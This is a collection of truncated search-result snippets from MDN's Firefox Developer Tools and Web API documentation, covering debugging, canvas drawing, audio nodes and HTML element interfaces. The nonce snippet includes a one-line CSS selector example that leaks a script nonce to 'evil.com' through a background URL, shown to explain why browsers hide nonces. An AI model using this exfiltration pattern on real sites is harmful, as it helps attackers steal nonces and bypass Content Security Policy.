he following list: None -- choose this to return to normal display Protanomaly (low red) Deuteranomaly (low green) Tritanomaly (low blue) Protanopia (no red) Deuteranopia (no green) Tritanopia (no blue) Contrast loss These simulations are not completely medically accurate. However, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices. The following table shows a colorful image of a cat's face, and what it looks like in the various simulations. Simulation Image displayed None Protanomaly (low red) Deuteranomaly (low green) Tritanomaly (low blue) Protanopia (no red) ...
DOM Inspector - Firefox Developer Tools
can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within. This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the Page Inspector. Documentation Introduction to DOM Inspector A guided tutorial that will help you get started with DOM Inspector. DOM Inspector FAQ Answers to common questions on DOM Inspector. DOM Inspector page at MozillaZine More information on the DOM Inspector. How to build the DOM Inspector Blog post on building the DOM Inspector from source. Getting DOM Inspector Firefox & Thunderbird You may download and install the DOM Inspector from the AMO web site. (Thunderbi...
Add-ons - Firefox Developer Tools
...
Debugging service workers - Firefox Developer Tools
es, using the register() method: if('serviceWorker' in navigator) { navigator.serviceWorker .register('sw.js') .then(function() { console.log('Service Worker Registered'); }); } If you get the path wrong, for example, you'll get an error in the Web Console giving you a hint as to what's wrong, which depends on what exactly is wrong with the code. If this is not enough to help you figure out the problem, you could also try going to the JavaScript Debugger and stepping through your code to pinpoint exactly where it is going wrong. Debugging your service worker In any case, when the service worker is successfully registered, you'll see information about it displayed in the Application > Service Workers view (along with any other service workers registered on the same d...
Browser Console - Firefox Developer Tools
it set the devtools.chrome.enabled preference to true in about:config, or set the "Enable chrome debugging" option in the developer tool settings. Like the Web Console, the command line interpreter enables you to evaluate JavaScript expressions in real time:Also like the Web Console's command line interpreter, this command line supports autocomplete, history, and various keyboard shortcuts and helper commands. If the result of a command is an object, you can click on the object to see its details. But while the Web Console executes code in the scope of the content window it's attached to, the browser console executes code in the scope of the chrome window of the browser. You can confirm this by evaluating window: This means you can control the browser: opening, closing tabs and windows ...
UI Tour - Firefox Developer Tools
e extension's name. There are several context menu options available for individual files and folders or groups; typically viewed by right-clicking on the item. For files, the following context menu options are available: Copy source URI copies the full identifier of the file to the clipboard. Ignore source causes the debugger to skip the file when "stepping into" functions; this can be helpful for avoiding stepping into libraries used by your code. When a file is ignored, it has a small eye icon next to it in place of its regular icon. Download file opens a file dialog so you can save the file locally. For folders and groups, the following context menu options are available: Collapse all collapses all subfolders of the item. Expand all expands all subfolders of the item. S...
Debugger.Object - Firefox Developer Tools
to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to theb defined withina, and a< to refer to a function that occurs somewhere within an expression that is assigned toa. For example: function h() { var i = function() {}; // display name: h/i f(function () {}); // display name: h/< } var s = f(function (...
Debugger.Script - Firefox Developer Tools
to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to theb defined withina, and a< to refer to a function that occurs somewhere within an expression that is assigned toa. For example: function h() { var i = function() {}; // display name: h/i f(function () {}); // display name: h/< } var s = f(function (...
Debugger-API - Firefox Developer Tools
t. Showing how many objects different call paths allocate. Gecko-specific features While the Debugger core API deals only with concepts common to any JavaScript implementation, it also includes some Gecko-specific features: [Global tracking][global] supports debugging all the code running in a Gecko instance at once--the 'chrome debugging' model. [Object wrapper][wrapper] functions help manipulate object references that cross privilege boundaries. Source Metadata Generated from file: js/src/doc/Debugger/Debugger-API.md Watermark: sha256:6ee2381145a0d2e53d2f798f3f682e82dd7ab0caa0ac4dd5e56601c2e49913a7 Changeset: ffa775dd5bd4 ...
Debugger.Object - Firefox Developer Tools
to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to the b defined within a, and a< to refer to a function that occurs somewhere within an expression that is assigned to a. For example: function h() { var i = function() {}; // display name: h/i f(function () {}); // display name: h/< } var s = f(functi...
The Firefox JavaScript Debugger - Firefox Developer Tools
You can use it to debug code running locally in Firefox or running remotely, for example on an Android device running Firefox for Android. See remote debugging to learn how to connect the debugger to a remote target. To find your way around the debugger, here's a quick tour of the UI. How to To find out what you can do with the debugger, refer to the following how-to guides. ...
Aggregate view - Firefox Developer Tools
y to that line in the debugger: Inverted Call Stack The Call Stack view is top-down: it shows allocations that happen at that point or points deeper in the call tree. So it's good for getting an overview of where your program is memory-hungry. However, this view means you have to drill a long way down to find the exact place where the allocations are happening. The "Inverted Call Stack" view helps with that. It gives you the bottom-up view of the program showing the exact places where allocations are happening, ranked by the size of allocation at each place. The disclosure arrow then walks you back up the call tree towards the top level. Let's see what the example looks like when we select "Inverted Call Stack": Now at the top we can immediately see the createToolbarButton() call acco...
Tree map view - Firefox Developer Tools
A treemap displays "hierarchical (tree-structured) data as a set of nested rectangles". The size of the rectangles corresponds to some quantitative aspect of the data. For the treemaps shown in the Memory tool, things on the heap are divided at the top level into four categories: objects: JavaScript and DOM objects, such as Function, Object, or Array, and DOM types like Window and HTMLDivElement. scripts: JavaScript sources loaded by the page. ...
Migrating from Firebug - Firefox Developer Tools
For the latest developer tools and features, try Firefox Developer Edition. Download Firefox Developer Edition General Activation Firebug's activation is URL based respecting the same origin policy. That means that when you open a page on the same origin in a different tab, Firebug gets opened automatically. ...
Performance Analysis - Firefox Developer Tools
Using the Performance analysis tool To run the performance analysis tool click the stopwatch icon in the toolbar. (Alternatively, if you have only just opened the Network Monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.) The Network Monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache. This simulates the first time a user visits your site, and subsequent visits. ...
Examine and edit CSS - Firefox Developer Tools
o-classes; toggle classes; add a new rule; change the display based on the color scheme preference (as of Firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the Configuration Editor to enable this feature); change the display based on print media rules. A warning icon appears next to unsupported CSS properties or rules that have invalid values. This can help you understand why certain styles are not being applied. In the following example, a spelling error, "background-colour" instead of "background-color" has made the rule invalid: Rule display It displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations. Highlight matched elements: next to the selector is a target icon: click this to...
Sorting algorithms comparison - Firefox Developer Tools
a randomized array and calls sort(). sort() Calls each of bubbleSort(), selectionSort(), quickSort() in turn and logs the result. bubbleSort() Implements a bubble sort, returning the sorted array. selectionSort() Implements a selection sort, returning the sorted array. quickSort() Implements quicksort, returning the sorted array. swap() Helper function for bubbleSort() and selectionSort(). partition() Helper function for quickSort(). Its call graph looks like this: sortAll() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubbleSort() -> swap() -> selectionSort() -> swap() ...
Animating CSS properties - Firefox Developer Tools
The performance cost of animating a CSS property can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate. The Frame rate and Waterfall can give you insight into the work the browser's doing in a CSS animation, to help diagnose performance problems. With CSS animations you specify a number of keyframes, each of which uses CSS to define the appearance of the element at a particular stage of the animation. The browser creates the animation as a transition from each keyframe to the next. Compared with animating elements using JavaScript, CSS animations can be easier to create. They can also give better performance, as they give the browser more control over when to render frames, and to drop frames i...
Performance - Firefox Developer Tools
executing, and when, over the course of the recording. Scenarios Animating CSS properties Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance. Intensive JavaScript Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation. ...
Responsive Design Mode - Firefox Developer Tools
- when checked displays the user agent string The final two options define when the page is reloaded: Reload when touch simulation is toggled: when this option is enabled, the page is reloaded whenever you toggle touch support. Reload when user agent is changed: when this option is enabled, the page isreloaded whenever the user agent is changed. Reloading on these changes can be helpful because certain page behaviors would otherwise not be applied. For example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers. However, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly re...
Style Editor - Firefox Developer Tools
urce for the selected style sheet is available for you to read and edit. Any changes you make are immediately applied to the page. This makes it easy to experiment with, revise, and test changes. Once you're satisfied with your changes, you can save a copy locally by clicking the Save button on the sheet's entry in the style sheet pane. The editor provides line numbers and syntax highlighting to help make it easier to read your CSS. It also supports a number of keyboard shortcuts. The Style Editor automatically de-minimizes style sheets that it detects, without affecting the original. This makes it much easier to work on pages that have been optimized. The Style Editor supports autocomplete. Just start typing, and it will offer you a list of suggestions. You can switch autocomplete off in ...
Console messages - Firefox Developer Tools
style.display = "inline-block"; var thingHeight = window.getComputedStyle(thing).height; Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow. Security The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a "Learn More" link that takes you to a page with background information and advice for mitigating the issue. The complete list of security messages is as follows: Message Details Blocked loading mixed active content The p...
Web Console - Firefox Developer Tools
ge context Enables you to interact with a web page by executing JavaScript expressions in the context of the page User interface of the Web Console Parts of the Web Console UI. The JavaScript input interpreter How to interact with a document using the Console. Split console Use the Console alongside other tools. Console messages Details of the messages that the Console logs. Helper commands Commands you can use that are not part of JavaScript. Rich output See and interact with objects logged by the Console. Keyboard shortcuts Shortcut reference. Opening the Web Console You open the Web Console from a menu or with a keyboard shortcut: Choose Web Console from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on Mac ...
BaseAudioContext.createBuffer() - Web APIs
s An AudioBuffer configured based on the specified options. Exceptions NotSupportedError One or more of the options are negative or otherwise has an invalid value (such as numberOfChannels being higher than supported, or a sampleRate outside the nominal range). RangeError There isn't enough memory available to allocate the buffer. Examples First, a couple of simple trivial examples, to help explain how the parameters are used: var audioCtx = new AudioContext(); var buffer = audioCtx.createBuffer(2, 22050, 44100); If you use this call, you will get a stereo buffer (two channels), that, when played back on an AudioContext running at 44100Hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100Hz = 0.5 seconds. var audioCtx = new Au...
BaseAudioContext.createDynamicsCompressor() - Web APIs
ed to apply compression to an audio signal. Compression lowers the volume of the loudest parts of the signal and raises the volume of the softest parts. Overall, a louder, richer, and fuller sound can be achieved. It is especially important in games and musical applications where large numbers of individual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output. Syntax baseAudioCtx.createDynamicsCompressor(); Returns A DynamicsCompressorNode. Example The below code demonstrates a simple usage of createDynamicsCompressor() to add compression to an audio track. For a more complete example, have a look at our basic Compressor example (view the source code). // Create a MediaElementAudioSourceNode // Fe...
BaseAudioContext.createWaveShaper() - Web APIs
baseAudioCtx.createWaveShaper(); Returns A WaveShaperNode. Example The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI /...
BufferSource - Web APIs
It isn't an interface and there are no objects implementing it. ...
Determining the dimensions of elements - Web APIs
Note that all these properties are read-only. If you want to set the width and height of an element, use width and height or the overriding min-width and max-width, and min-height and max-height properties. ...
CanvasImageSource - Web APIs
It's not an interface and there are no objects implementing it. ...
CanvasRenderingContext2D.font - Web APIs
Examples Using a custom font In this example we use the font property to specify a custom font weight, size, and family. HTML <canvas id="canvas"></canvas> JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = 'bold 48px serif'; ctx.strokeText('Hello world', 50, 100); Result Loading fonts with the CSS Font Loading API With the help of the FontFace API, you can explicitly load fonts before using them in a canvas. let f = new FontFace('test', 'url(x)'); f.load().then(function() { // Ready to use the font in a canvas context }); Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.font' in that specification. Living Standard ...
CanvasRenderingContext2D.lineDashOffset - Web APIs
; ctx.moveTo(0, 50); ctx.lineTo(300, 50); ctx.stroke(); // Dashed line with offset of 4 ctx.beginPath(); ctx.strokeStyle = 'red'; ctx.lineDashOffset = 4; ctx.moveTo(0, 100); ctx.lineTo(300, 100); ctx.stroke(); Result The line with a dash offset is drawn in red. Marching ants The marching ants effect is an animation technique often found in selection tools of computer graphics programs. It helps the user to distinguish the selection border from the image background by animating the border. HTML <canvas id="canvas"></canvas> const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); let offset = 0; function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.setLineDash([4, 2]); ctx.lineDashOffset = -offset; ctx.strokeRect(10, 10, 100,...
CanvasRenderingContext2D - Web APIs
moothingEnabled Image smoothing mode; if disabled, images will not be smoothed if scaled. CanvasRenderingContext2D.imageSmoothingQuality Allows you to set the quality of image smoothing. The canvas state The CanvasRenderingContext2D rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state: CanvasRenderingContext2D.save() Saves the current drawing style state using a stack so you can revert any change you make to it using restore(). CanvasRenderingContext2D.restore() Restores the drawing style state to the last element on the 'state stack' saved by save(). CanvasRenderingContext2D.canvas A read-only back-reference to the HTMLCanvasElement. Might ...
Applying styles and colors - Web APIs
he lineDashOffset property specify the dash pattern for lines. The setLineDash method accepts a list of numbers that specifies distances to alternately draw a line and a gap and the lineDashOffset property sets an offset where to start the pattern. In this example we are creating a marching ants effect. It is an animation technique often found in selection tools of computer graphics programs. It helps the user to distinguish the selection border from the image background by animating the border. In a later part of this tutorial, you can learn how to do this and other basic animations. <canvas id="canvas" width="110" height="110"></canvas> var ctx = document.getElementById('canvas').getContext('2d'); var offset = 0; function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); c...
Basic usage of canvas - Web APIs
content or provide a static image of the dynamically rendered content. This can look something like this: <canvas id="stockGraph" width="150" height="150"> current stock price: $3.15 + 0.15 </canvas> <canvas id="clock" width="150" height="150"> <img src="images/clock.png" width="150" height="150" alt=""/> </canvas> Telling the user to use a different browser that supports canvas does not help users who can't read the canvas at all, for example. Providing a useful fallback text or sub DOM helps to make the canvas more accessible. Required </canvas> tag As a consequence of the way fallback is provided, unlike the <img> element, the <canvas> element requires the closing tag (</canvas>). If this tag is not present, the rest of the document would be considered the fallback content and wo...
Drawing shapes with canvas - Web APIs
adius, radius); ctx.stroke(); } The resulting image looks like this: ScreenshotLive sample We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the fillStyle property on the drawing context, and the use of a utility function (in this case roundedRect()). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity. We'll take another look at fillStyle, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again. Path2D objects As we have seen in the last example, there can be a series of paths and drawing commands to draw obje...
Finale - Web APIs
Web › API › Canvas API › Tutorial › Finale
More examples and tutorials There are a variety of demos and further explanations about canvas on these sites: Codepen.io Front End Developer Playground & Code Editor in the Browser. HTML5 Canvas Tutorials Examples for most canvas APIs. Game development Gaming is one of the most popular computer activities. New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. ...
Pixel manipulation with canvas - Web APIs
We get the position of the mouse and crop an image of 5 pixels left and above to 5 pixels right and below. Then we copy that one over to another canvas and resize the image to the size we want it to. In the zoom canvas we resize a 10x10 pixel crop of the or...
Transformations - Web APIs
canvas clockwise around the current origin by the angle number of radians. The rotation center point is always the canvas origin. To change the center point, we will need to move the canvas by using the translate() method. A rotate example In this example, we'll use the rotate() method to first rotate a rectangle from the canvas origin and then from the center of the rectangle itself with the help of translate(). Reminder: Angles are in radians, not degrees. To convert, we are using: radians = (Math.PI/180)*degrees. function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // left rectangles, rotate from canvas origin ctx.save(); // blue rect ctx.fillStyle = '#0095DD'; ctx.fillRect(30, 30, 100, 100); ctx.rotate((Math.PI / 180) * 25); // grey rect ...
Using images - Web APIs
sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight) Given an image, this function takes the area of the source image specified by the rectangle whose top-left corner is (sx, sy) and whose width and height are sWidth and sHeight and draws it into the canvas, placing it on the canvas at (dx, dy) and scaling it to the size specified by dWidth and dHeight. To really understand what this does, it may help to look at the image to the right. The first four parameters define the location and size of the slice on the source image. The last four parameters define the rectangle into which to draw the image on the destination canvas. Slicing can be a useful tool when you want to make compositions. You could have all elements in a single image file and use this method to composite a complete drawing. For...
Console.group() - Web APIs
Web › API › Console › group
messages by an additional level, until console.groupEnd() is called. Note: This feature is available in Web Workers. Syntax console.group([label]); Parameters label Label for the group. Optional. (Chrome 59 tested) Does not work with console.groupEnd(). Using groups in the console Requires Gecko 9.0(Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call console.group(). The console.groupCollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it. Note: From Gecko 9 until Gecko 51, the groupCollapsed() method was the same as group(). Collapsed groups are fully supported starting in Gecko 52. See...
console - Web APIs
Web › API › Console
s line-height margin outline and its longhand equivalents padding text-* properties such as text-transform white-space word-spacing and word-break writing-mode Note: The console message behaves like an inline element by default. To see the effects of padding, margin, etc. you should set it to for example display: inline-block. Using groups in the console You can use nested groups to help organize your output by visually combining related material. To create a new nested block, call console.group(). The console.groupCollapsed() method is similar but creates the new block collapsed, requiring the use of a disclosure button to open it for reading. To exit the current group, simply call console.groupEnd(). For example, given this code: console.log("This is the outer level"); consol...
Constraint validation API - Web APIs
anitize data received by the server. Validation of constraints through the constraint validation API is done either on a single form element or at the form level, on the <form> element itself. Constraint validation interfaces ValidityState The ValidityState interface represents the validity states that a form control element can have, with respect to its defined constraints. Together, they help explain whether and why an element's value fails to validate. invalid event This event type is fired at a form control element if the element does not satisfy its constraints. Extensions to other interfaces The constraint validation API extends the interfaces for the form-associated elements listed below with a number of new properties and methods (elements that can have a form attribute tha...
Binary strings - Web APIs
Web › API › DOMString › Binary
a string that contains codepoints greater than 255 will cause a Character Out Of Range error. The reason that brought to use UTF-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth) it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data. In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer (i.e., using binary strings). However, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-form...
Document - Web APIs
Web › API › Document
eturns the nsIURI object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges). Document.popupNode Returns the node upon which a popup was invoked. Document.tooltipNode Returns the node which is the target of the current tooltip. Mozilla also define some non-standard methods: Document.execCommandShowHelp()Obsolete since Gecko 14 This method never did anything and always threw an exception, so it was removed in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11). Document.getBoxObjectFor() Use the Element.getBoundingClientRect() method instead. Document.loadOverlay()Obsolete since Gecko 61 Loads a XUL overlay dynamically. This only works in XUL documents. Document.queryCommandTex...
DynamicsCompressorNode() - Web APIs
That can occur when multiple sounds are played and multiplexed together at once. Syntax var dynamicsCompressorNode = new DynamicsCompressorNode(context, options) Parameters context A reference to an AudioContext. options Optional Options are as follows: attack: The amount of time (in seconds) to reduce the gain by 10dB. Its default value is 0.003. ...
DynamicsCompressorNode - Web APIs
This is often used in musical production and game audio. DynamicsCompressorNode is an AudioNode that has exactly one input and one output; it is created using the AudioContext.createDynamicsCompressor() method. ...
Element: click event - Web APIs
isn't typically interactive (e.g., <div>). Stop using click event delegation. Safari Mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug): <a> (but it must have an href) <area> (but it must have an href) <button> <img> <input> <label> (but it must be associated with a form control) <textarea> This list is incomplete; you can help MDN by doing further testing/research and expanding it. Examples This example displays the number of consecutive clicks on a <button>. HTML <button>Click</button> JavaScript const button = document.querySelector('button'); button.addEventListener('click', event => { button.innerHTML = `Click count: ${event.detail}`; }); Result Try making rapid, repeated clicks on the button to increas...
FileError - Web APIs
Web › API › FileError
ng the file system using the asynchronous API. It extends the FileError interface described in File Writer and adds several new error codes. FileError objects are passed to error callbacks. The objects have a code that shows the type of error that occurred. Best practices Most people don't read the page on errors and exceptions unless they're stumped. So the following are a few tips that could help you avoid some pitfalls. Error callbacks are not optional for your sanity Although error callbacks are optional, you should include them in the arguments of the methods for the sake of the sanity of your users. A web app could fail for various reasons, so you don't want to spend the rest of your day guessing what's going on and going through maddening troubleshooting. Don't run your app from f...
FileSystemEntry.getParent() - Web APIs
ror occurred: Unable to rename " + fileEntry.name + " to newname.html."); }); This is accomplished by first obtaining a FileSystemDirectoryEntry object representing the directory the file is currently located in. Then moveTo() is used to rename the file within that directory. Using promises Currently, there isn't a Promise-based version of this method. You can, however, create a simple helper function to adapt it, like this: function getParentPromise(entry) { return new Promise((resolve, reject) => { entry.getParent(resolve, reject); }); } A similar approach can be taken elsewhere in the File and Directory Entries API. Specifications Specification Status Comment File and Directory Entries APIThe definition of 'getParent()' in that specificatio...
FileSystemEntry.toURL() - Web APIs
d toURL() creates and returns a string containing a URL which can be used to identify the file system entry. This is done by exposing a new URL scheme--filesystem:--that can be used as the value of src and href attributes. Syntax FileSystemEntry.toURL([mimeType]); Parameters mimeType Optional An optional string specifying the MIME type to use when interpreting the file. This can be used to help deal with files whose types aren't recognized automatically by the user agent. If this parameter is omitted, the user agent uses its standard algorithms to identify the file. Return value A DOMString containing a URL that can then be used as a document reference in HTML content, or an empty string if the URL can't be generated (such as if the file system implementation doesn't support toURL())...
Using the Gamepad API - Web APIs
g to a gamepad When a new gamepad is connected to the computer, the focused page first receives a gamepadconnected event. If a gamepad is already connected when the page loaded, the gamepadconnected event is dispatched to the focused page when the user presses a button or moves an axis. In Firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. This helps prevent gamepads being used for fingerprinting the user. Once one gamepad has been interacted with, other gamepads that are connected will automatically be visible. You can use gamepadconnected like this: window.addEventListener("gamepadconnected", function(e) { console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.le...
GlobalEventHandlers.onclick - Web APIs
d to an object at a time. You may prefer to use the EventTarget.addEventListener() method instead, since it's more flexible. Examples Detecting clicks This example simply changes the color of an element when it's clicked upon. HTML <div id="demo">Click here</div> JavaScript document.getElementById('demo').onclick = function changeContent() { document.getElementById('demo').innerHTML = "Help me"; document.getElementById('demo').style = "Color: red"; } Result Getting the coordinates of clicks This example displays the coordinates at which the most recent mouse button click occurred. HTML <p>Click anywhere in this example.</p> <p id="log"></p> JavaScript let log = document.getElementById('log'); document.onclick = inputChange; function inputChange(e) { log.textContent ...
HTMLCanvasElement: webglcontextlost event - Web APIs
The webglcontextlost event of the WebGL API is fired if the user agent detects that the drawing buffer associated with a WebGLRenderingContext object has been lost. Bubbles Yes Cancelable Yes Interface WebGLContextEvent Event handler property none Example With the help of the WEBGL_lose_context extension, you can simulate the webglcontextlost event: const canvas = document.getElementById('canvas'); const gl = canvas.getContext('webgl'); canvas.addEventListener('webglcontextlost', (event) => { console.log(event); }); gl.getExtension('WEBGL_lose_context').loseContext(); // "webglcontextlost" event is logged. Specifications Specification Status Comment WebGL 1.0The definition of 'webglcontextlost' in that ...
HTMLCanvasElement: webglcontextrestored event - Web APIs
ntext object. Once the context is restored, WebGL resources such as textures and buffers that were created before the context was lost are no longer valid. You need to reinitialize the state of your WebGL application and recreate resources. Bubbles Yes Cancelable Yes Interface WebGLContextEvent Event handler property none Example With the help of the WEBGL_lose_context extension, you can simulate the webglcontextrestored event: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('webgl'); canvas.addEventListener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getExtension('WEBGL_lose_context').restoreContext(); // "webglcontextrestored" event is logged. Specifications Specific...
HTMLEmbedElement - Web APIs
a DOMString that reflects the width HTML attribute, containing the displayed width of the resource. Methods No specific method; inherits methods from its parent, HTMLElement. Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLEmbedElement' in that specification. Living Standard Adds two obsolete properties, name and align, to help with compatibility with old Web sites. HTML5The definition of 'HTMLEmbedElement' in that specification. Recommendation Initial definition. ...
HTMLImageElement.alt - Web APIs
nate) text to display when the image specified by the <img> element is not loaded. This may be the case because of an error, because the user has disabled the loading of images, or because the image simply hasn't finished loading yet. Perhaps the most important reason to use the alt tag is to support accessibility, as the alt text may be used by screen readers and other assistive technologies to help differently-abled users make full use of your content. It will be read aloud or sent to the touch device, for example, to support visually impaired users. Think of it like this: When choosing alt strings for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page. The alternate text is displayed in the space ...
HTMLImageElement.loading - Web APIs
The HTMLImageElement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's visual viewport. This helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load. Syntax let imageLoadScheduling = htmlImageElement.loading; htmlImageElement.loading = eagerOrLazy; Value A DOMString providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. The possible values are: eager The default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy Tells the user agent to hol...
HTMLInputElement - Web APIs
e element's minlength attribute, containing the minimum number of characters (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.) pattern string: Returns / Sets the element's pattern attribute, containing a regular expression that the control's value is checked against. Use the title attribute to describe the pattern to help the user. This attribute applies when the value of the type attribute is text, search, tel, url or email; otherwise it is ignored. placeholder string: Returns / Sets the element's placeholder attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the ...
HTMLMediaElement.controlsList - Web APIs
The DOMTokenList takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. Syntax var domTokenList = HTMLMediaElement.controlsList; Value A DOMTokenList. Specifications Specification Status Comment Controls List API: Solution outline Browser Compatibility The compatibility table on this page is generated from structured data. ...
HTMLMediaElement.msInsertAudioEffect() - Web APIs
. This proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax HTMLMediaElement.msInsertAudioEffect(activatableClassId: DOMString, effectRequired: boolean, config); Parameters activatableClassId A DOMString defining the audio effects class. effectRequired A Boolean which if set to true requires an audio effect to be defined. configOptional An optional Object to help with defining any additional configuration needed. Return value This method does not return a value. See also HTMLMediaElement Microsoft API extensions ...
HTMLMediaElement - Web APIs
ssed. HTMLMediaElement.controller Is a MediaController object that represents the media controller assigned to the element, or null if none is assigned. HTMLMediaElement.controls Is a Boolean that reflects the controls HTML attribute, indicating whether user interface items for controlling the resource should be displayed. HTMLMediaElement.controlsList Read only Returns a DOMTokenList that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls. The DOMTokenList takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. HTMLMediaElement.crossOrigin A DOMString indicating the CORS setting for this media element. HTMLMediaElement.currentSrc Read only Returns a DOMString with the abso...
HTMLOrForeignElement.nonce - Web APIs
e value In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback: let nonce = script['nonce'] || script.getAttribute('nonce'); However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']) will be the only way to access nonces. Nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } Specifications Specification HTML Living StandardThe definition of 'nonce' in that specification. Browser Compatibility The compatibility table on this page is genera...
HTMLTableCellElement - Web APIs
e is only allowed if the cell is in a row group. The empty string ("") The header cell has no predefined scope; the user agent will establish the scope based on contextual clues. Methods No specific method; inherits methods from its parent, HTMLElement. Deprecated properties Warning: These properties have been deprecated and should no longer be used. They are documented primarily to help understand older code bases. HTMLTableCellElement.align A DOMString containing an enumerated value reflecting the align attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are "left", "right", and "center". HTMLTableCellElement.axis A DOMString containing a name grouping cells in virtual. It reflects the obsolete...
HTMLVideoElement.msInsertVideoEffect() - Web APIs
is proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax str = HTMLMediaElement.msInsertVideoEffect(activatableClassId: DOMString, effectRequired: boolean, config); Parameters activatableClassId A DOMString defining the video effects class. effectRequired A Boolean which if set to true requires a video effect to be defined. configOptional An optional Object to help with defining any additional configuration needed. Return value This method does not return a value. Example var oVideo1 = document.getElementById("video1"); oVideo1.msInsertVideoEffect("Windows.Media.VideoEffects.VideoStabilization", true, null); See also HTMLVideoElement Microsoft API extensions ...
Using microtasks in JavaScript with queueMicrotask() - Web APIs
